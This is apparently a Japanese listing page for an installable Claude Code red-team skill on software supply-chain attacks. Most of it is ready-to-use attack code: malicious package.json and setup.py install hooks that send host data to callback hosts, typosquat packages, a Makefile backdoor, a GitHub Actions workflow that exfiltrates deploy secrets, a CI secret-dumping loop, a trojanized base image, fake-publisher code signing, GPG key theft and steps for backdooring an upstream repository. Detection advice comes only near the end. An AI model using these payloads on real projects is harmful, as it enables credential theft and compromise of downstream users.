offensive-supply-chain について
認可されたレッドチームによるソフトウェアサプライチェーン評価向けのスキルです。パッケージ解決、ビルドフック、CI/CD 成果物、コンテナイメージと防御策を扱います。
主な機能
- 01依存関係混乱の評価
- 02タイポスクワッティング手法
- 03ビルドフックの分析
- 04CI/CD 成果物の改ざん
- 05コンテナイメージの攻撃
- 06検知と強化の指針
活用シーン
- 01パッケージレジストリ解決の監査
- 02ビルド・インストールスクリプトのテスト
- 03CI/CD 成果物の信頼性評価
- 04コンテナイメージの完全性確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-supply-chainインストール後、Claude Code で/offensive-supply-chainを入力して読み込まれたか確認します。
詳細
ソフトウェアサプライチェーン攻撃
ソフトウェアサプライチェーン攻撃は、開発者、パッケージレジストリ、ビルドシステム、デプロイパイプライン間の信頼関係を悪用します。組織が依存している一方で、自社コードと同じ厳密さではほとんど監査されないコンポーネントやプロセスを標的にします。1 つの依存関係が侵害されると、下流の何千もの利用者に影響が広がる可能性があり、サプライチェーンは現代のソフトウェアエコシステムにおいて最も大きな効果を得られる攻撃対象領域となっています。
このスキルでは、内部パッケージ名の偵察、レジストリの解決ロジックの悪用、ビルドシステムのフックの悪用、CI/CD パイプラインの改ざん、コンテナイメージのサプライチェーン攻撃という、攻撃のライフサイクルを扱います。各手法は、安全なコールバックの仕組みを備えた、許可を得たレッドチーム演習のパターンに対応しています。
クイックワークフロー
- 対象の成果物(ロックファイル、ソースマップ、エラーメッセージ、GitHub リポジトリ)から内部パッケージ名を列挙します。
- パッケージエコシステム(npm、PyPI、NuGet、Maven、Go、Ruby)とレジストリの設定を特定します。
- 攻撃ベクトルを選択します。依存関係の混同、タイポスクワッティング、ビルドフックへのインジェクション、CI/CD の改ざん、コンテナサプライチェーン攻撃です。
- DNS カナリアまたは HTTP コールバックを使った安全な概念実証パッケージを準備します。破壊的なペイロードは使用しません。
- パッケージを公開レジストリに登録するか、インジェクション用の成果物を用意します。
- 対象環境で実行されたことを確認するため、コールバックを監視します。
- 攻撃経路、影響を受けるシステム、修正に関するガイダンスを文書化します。
依存関係の混同
依存関係の混同は、組織がプライベートとパブリックの両方のパッケージレジストリを使用している場合の、解決順序を悪用します。プライベートレジストリが唯一の取得元として設定されていない場合、パッケージマネージャーは内部パッケージよりもバージョン番号の高いパブリックパッケージを優先する可能性があります。
npm の依存関係の混同
プロジェクトがスコープのないプライベートパッケージを参照しており、.npmrc でレジストリが唯一の取得元に固定されていない場合、npm はパブリックレジストリにフォールバックします。
# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
# Check which names are unclaimed on the public npm registry
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
// Malicious package.json with high version to win resolution
{
"name": "internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
}
}
PyPI の依存関係の混同
Python の pip は、デフォルトで PyPI からパッケージを解決します。組織がプライベートレジストリを追加するために --extra-index-url を使っている場合、pip は両方のインデックスを考慮し、最も高いバージョンを選択します。
# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt
# Check availability on public PyPI
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pypi_names.txt
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request
class PostInstall(install):
def run(self):
install.run(self)
hostname = socket.gethostname()
user = os.getenv("USER", "unknown")
urllib.request.urlopen(
f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
)
setup(
name="internal-data-lib",
version="99.0.0",
cmdclass={"install": PostInstall},
)
NuGet フィードの優先順位
NuGet は設定された複数のフィードから依存関係を解決します。プライベートフィードが nuget.org と並んでいる場合、すべてのフィードの中で最も高いバージョンが選択されます。
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
</packageSources>
</configuration>
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
| jq '.versions'
# Empty or 404 means the name is available
confused による自動スキャン
# Install confused (Go-based dependency confusion scanner)
go install github.com/visma-prodsec/confused@latest
# Scan npm lock file for confusable packages
confused -l npm package-lock.json
# Scan Python requirements
confused -l pip requirements.txt
# Scan NuGet packages.config
confused -l nuget packages.config
タイポスクワッティング攻撃
タイポスクワッティングは、インストール時に開発者がパッケージ名を誤入力することを利用します。人気のあるパッケージ名の一般的なスペルミス、ハイフンとアンダースコアの違い、または単数形と複数形の違いを使った名前のパッケージを登録します。
# Generate typosquat candidates for a target package
target="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
# setup.py for a typosquat PoC -- safe callback only
from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket
class Callback(install):
def run(self):
install.run(self)
h = socket.gethostname()
urllib.request.urlopen(f"https://canary.example.com/typo-{h}")
setup(
name="reqeusts", # common transposition typo
version="2.31.0",
description="This is a security research package.",
cmdclass={"install": Callback},
python_requires=">=3.6",
)
// package.json for npm typosquat PoC
{
"name": "loadash",
"version": "4.17.21",
"description": "Security research package - typosquat detection",
"scripts": {
"preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
}
}
ビルドシステムへの攻撃
ビルドシステムは、コンパイル、インストール、パッケージ化の際に任意のコードを実行します。開発者が依存関係をビルドまたはインストールするときに暗黙的に実行されるフックやスクリプトを標的にします。
Makefile へのインジェクション
# Injected target that runs before the default build
.PHONY: all
all: backdoor build
backdoor:
@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1
build:
gcc -o app main.c
setup.py のインストールフック(Python)
# setup.py with multiple hook points
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
def callback():
import urllib.request, socket
urllib.request.urlopen(
f"https://canary.example.com/setup-{socket.gethostname()}"
)
class InstallHook(install):
def run(self):
callback()
install.run(self)
class DevelopHook(develop):
def run(self):
callback()
develop.run(self)
class EggInfoHook(egg_info):
def run(self):
callback()
egg_info.run(self)
setup(
name="compromised-lib",
version="1.0.0",
cmdclass={
"install": InstallHook,
"develop": DevelopHook,
"egg_info": EggInfoHook,
},
)
npm の postinstall / preinstall スクリプト
{
"name": "compromised-module",
"version": "1.0.0",
"scripts": {
"preinstall": "node callback.js",
"postinstall": "node callback.js",
"prepare": "node callback.js"
}
}
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');
const data = JSON.stringify({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
cwd: process.cwd(),
env_ci: process.env.CI || "false",
env_build_id: process.env.BUILD_ID || "none"
});
const req = https.request({
hostname: 'canary.example.com',
port: 443,
path: '/npm-postinstall',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();
CI/CD 成果物の改ざん
CI/CD パイプラインが生成する成果物(バイナリ、コンテナイメージ、パッケージ)は、下流のシステムによって暗黙の信頼をもって利用されます。成果物の保存、転送、検証の各段階を標的にします。
GitHub Actions ワークフローへのインジェクション
# Malicious workflow exploiting pull_request_target
name: Build
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# Attacker-controlled code now runs with repo secrets
- run: |
curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \
https://canary.example.com/gha-secrets
ストレージ内の成果物の置き換え
# If artifact storage uses predictable paths or weak auth
# Replace a legitimate build artifact with a trojanized version
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz
# Verify no integrity checks exist
curl -s https://releases.example.com/app-latest.tar.gz.sha256
# 404 -- no checksum published, replacement goes undetected
パイプラインシークレットの抽出
# In a compromised CI job, enumerate available secrets
env | grep -iE '(token|secret|key|pass|api)' | \
while read line; do
curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)"
done
コンテナイメージのサプライチェーン
コンテナレジストリとベースイメージは、並行するサプライチェーンを形成します。イメージのプル時の解決、ベースイメージの完全性、レジストリ認証を標的にします。
ベースイメージへのトロイの木馬の仕込み
# Attacker publishes a trojanized version of a common base image
FROM ubuntu:22.04
# Inject persistence into the base image
RUN apt-get update && apt-get install -y curl && \
echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh && \
echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh && \
echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh && \
chmod +x /usr/local/bin/entrypoint-hook.sh
ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
レジストリの混同
# If Dockerfile uses unqualified image names, Docker resolves from Docker Hub
# A private registry image "myapp/backend" can be shadowed
docker pull myapp/backend # resolves to docker.io/myapp/backend
# Attacker registers docker.io/myapp/backend with a trojanized image
# Targets that do not pin their registry prefix pull the attacker image
イメージタグの可変性を悪用した攻撃
# Tags are mutable -- attacker with registry write access replaces a tag
# Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version
# Verify image digest before and after
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
# Compare against known-good digest
# sha256:abc123... vs sha256:def456... indicates tampering
コード署名の悪用
コード署名は真正性を保証しますが、署名インフラ自体が攻撃対象領域となります。
# Generate a self-signed certificate mimicking a legitimate publisher
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \
-subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes
# Sign a malicious binary (Windows Authenticode example)
osslsigncode sign -certs cert.pem -key key.pem \
-n "Legitimate Application" -i https://legitimate-publisher.com \
-in malicious.exe -out signed-malicious.exe
# Many systems check "is it signed?" but not "by whom?"
# Steal signing keys from CI/CD environment variables
# Common locations for code signing secrets
echo $SIGNING_KEY
echo $CODE_SIGN_CERT
echo $GPG_PRIVATE_KEY
cat ~/.gnupg/private-keys-v1.d/*
上流リポジトリの侵害
広く使われている依存関係のソースリポジトリを侵害すると、更新を行うすべての下流の利用者でコードを実行できます。
# Enumerate maintainer accounts with weak security
# Look for maintainers without 2FA, reused passwords, or abandoned emails
# Check npm package maintainers
npm view lodash maintainers
# Check GitHub commit signing
git log --show-signature -5
# Unsigned commits mean a compromised account can push without detection
# After gaining maintainer access, inject a subtle backdoor
# Modify a rarely-reviewed utility function
git checkout -b patch-perf-improvement
# Edit a deeply nested file
# Commit with a benign-looking message
git commit -m "perf: optimize string comparison for edge cases"
git push origin patch-perf-improvement
# Create a PR and merge quickly before review
検出/防御側の視点
防御側は、サプライチェーン攻撃を検出して防止するため、次の対策を実施してください。
-
レジストリの固定:パッケージマネージャーが、唯一のソースとしてプライベートレジストリだけを使用するよう設定します。npm ではスコープ付きパッケージを使用します。pip では
--extra-index-urlではなく--index-urlを使用します。NuGet では、フィードを追加する前に<clear />を指定します。 -
ロックファイルの整合性:パッケージソース、バージョン、チェックサムに予期しない変更がないか、ロックファイルを監視します。プルリクエストではロックファイルのレビューを必須にします。
-
ビルドの再現性:再現可能なビルドを実装し、独立したビルド環境間で成果物を比較します。
-
依存関係のスキャン:CI パイプラインで
dependency-check、npm audit、pip-audit、または Snyk を実行し、既知の脆弱性があるパッケージや不審なパッケージを検出します。 -
イメージの固定:コンテナーイメージはタグではなくダイジェストで指定します。
:latestの代わりにimage: registry.example.com/app@sha256:abc123...を使用します。 -
Sigstore/cosign:コンテナーイメージの署名と SBOM を検証します。署名のないイメージが本番環境に取り込まれないよう監視します。
-
CI/CD の強化:
pull_request_targetトリガーを制限し、アクションのバージョンをコミット SHA で固定し、ワークフローの権限を監査し、シークレットをローテーションします。 -
内部パッケージ名の確保:タイポスクワッティングを防ぐため、プレースホルダーパッケージを使用して、内部パッケージ名を公開レジストリにあらかじめ登録します。
# Detect dependency confusion attempts with confused
confused -l npm package-lock.json 2>&1 | grep "could be"
# Monitor for unexpected outbound DNS/HTTP from build environments
# Alert on connections to unknown domains during install/build phases
# Audit npm packages for install scripts
npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'
エンゲージメント用チートシート
| フェーズ | アクション | リスクレベル |
|---|---|---|
| 偵察 | ロックファイルから内部パッケージ名を抽出する | 低 |
| 偵察 | 公開レジストリでの利用可能状況を確認する | 低 |
| ステージング | DNS カナリアコールバック付きの PoC パッケージを登録する | 中 |
| 悪用 | 対象が依存関係の混同によってインストール/ビルドするのを待つ | 中 |
| 検証 | コールバックの受信を確認し、対象範囲を記録する | 低 |
| クリーンアップ | 公開レジストリから PoC パッケージを削除する | 低 |
| 報告 | 攻撃経路と修正手順を記録する | 低 |
安全な PoC のガイドライン:
- コールバックには DNS カナリア(Burp Collaborator、interactsh、またはカスタムのもの)を使用します。
- 破壊的なペイロードは決してデプロイしないでください。外部に送信するのはホスト名とユーザー名のみにします。
- セキュリティ研究であることを明記した説明を付けてパッケージを登録します。
- エンゲージメント期間内に、公開レジストリからすべての PoC パッケージを削除します。
- 公開レジストリに登録する前に、対象のセキュリティチームと調整します。
MITRE ATT&CK の対応付け:
- T1195.001 -- ソフトウェア依存関係と開発ツールの侵害
- T1195.002 -- ソフトウェアサプライチェーンの侵害
- T1059.006 -- コマンドおよびスクリプトインタープリター:Python(setup.py フック)
- T1059.007 -- コマンドおよびスクリプトインタープリター:JavaScript(npm スクリプト)
主な参考資料
- Alex Birsan、「Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies」(2021)
- MITRE ATT&CK T1195 -- サプライチェーンの侵害:https://attack.mitre.org/techniques/T1195/
- confused scanner:https://github.com/visma-prodsec/confused
- OWASP Dependency-Check:https://owasp.org/www-project-dependency-check/
- npm セキュリティアドバイザリー:https://github.com/advisories
- Sigstore/cosign:https://www.sigstore.dev/
- SLSA(ソフトウェア成果物のサプライチェーンレベル):https://slsa.dev/
- 「Backstabber's Knife Collection」-- 悪意のあるパッケージに関する学術調査(2020)
- Snyk のサプライチェーンセキュリティに関する調査:https://snyk.io/blog/
- GitHub Advisory Database:https://github.com/advisories